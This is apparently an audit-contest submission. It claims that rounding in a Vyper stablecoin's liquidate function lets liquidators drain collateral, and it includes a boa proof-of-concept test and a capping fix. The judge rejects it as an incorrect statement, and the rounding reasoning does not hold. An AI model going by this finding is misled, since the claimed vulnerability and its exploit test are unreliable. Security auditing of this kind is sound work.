Algo Ssstablecoinsss

AI First Flight #2
Beginner FriendlyDeFi
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

High: Accounting Mismatch in `_redeem_collateral` Allows Protocol Insolvency

Summary

The liquidate function in dsc_engine.vy calculates collateral to transfer using _get_token_amount_from_usd, which uses integer division and is subject to rounding errors. These errors accumulate over repeated liquidations, causing the protocol to give away more collateral value than the debt it cancels, eventually leading to insolvency.


Description

token_amount_from_debt_covered: uint256 = self._get_token_amount_from_usd(
collateral, debt_to_cover
)
bonus_collateral: uint256 = (
token_amount_from_debt_covered * LIQUIDATION_BONUS
) // LIQUIDATION_PRECISION
self._redeem_collateral(
collateral,
token_amount_from_debt_covered + bonus_collateral,
user,
msg.sender,
)

The _get_token_amount_from_usd function uses integer division:

return (usd_amount_in_wei * PRECISION) // (convert(price, uint256) * ADDITIONAL_FEED_PRECISION)

Rounding errors favor the liquidator, causing the protocol to transfer more collateral value than the debt cancelled. Repeated liquidations drain the protocol's collateral, making it insolvent.


Risk

Severity: High
Likelihood: Medium
Impact: High

An attacker can repeatedly liquidate positions using small debt_to_cover amounts where rounding errors are proportionally largest. Over time, this causes:

  • Protocol insolvency

  • Users unable to redeem full collateral value

  • Loss of USD peg


Proof of Concept

import boa
from eth_utils import to_wei
def test_accounting_mismatch_insolvency(dsce, dsc, weth, some_user, liquidator, eth_usd):
collateral_amount = to_wei(10, "ether")
with boa.env.prank(some_user):
weth.approve(dsce.address, collateral_amount)
dsce.deposit_collateral_and_mint_dsc(weth.address, collateral_amount, to_wei(19000, "ether"))
eth_usd.updateAnswer(18 * 10**8)
debt_to_cover = to_wei(10, "ether")
initial_collateral_value = dsce.get_account_collateral_value(some_user)
initial_dsc_supply = dsc.totalSupply()
for _ in range(100):
with boa.env.prank(liquidator):
weth.approve(dsce.address, to_wei(1, "ether"))
dsce.deposit_collateral(weth.address, to_wei(1, "ether"))
dsc.approve(dsce.address, debt_to_cover)
try:
dsce.liquidate(weth.address, some_user, debt_to_cover)
except Exception:
break
final_collateral_value = dsce.get_account_collateral_value(some_user)
final_dsc_supply = dsc.totalSupply()
assert final_collateral_value < initial_collateral_value - (initial_dsc_supply - final_dsc_supply)
print("✅ ACCOUNTING MISMATCH EXPLOITED!")

Run: mox test -k test_accounting_mismatch_insolvency


Recommended Mitigation

Cap the redeemed amount to the user's actual deposit:

@external
def liquidate(collateral: address, user: address, debt_to_cover: uint256):
# ... existing checks ...
token_amount_from_debt_covered: uint256 = self._get_token_amount_from_usd(
collateral, debt_to_cover
)
bonus_collateral: uint256 = (
token_amount_from_debt_covered * LIQUIDATION_BONUS
) // LIQUIDATION_PRECISION
amount_to_redeem: uint256 = token_amount_from_debt_covered + bonus_collateral
# Cap to user's actual deposit
user_deposit: uint256 = self.user_to_token_address_to_amount_deposited[user][collateral]
if amount_to_redeem > user_deposit:
amount_to_redeem = user_deposit
self._redeem_collateral(collateral, amount_to_redeem, user, msg.sender)

This prevents over-redemption and mitigates rounding error accumulation.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!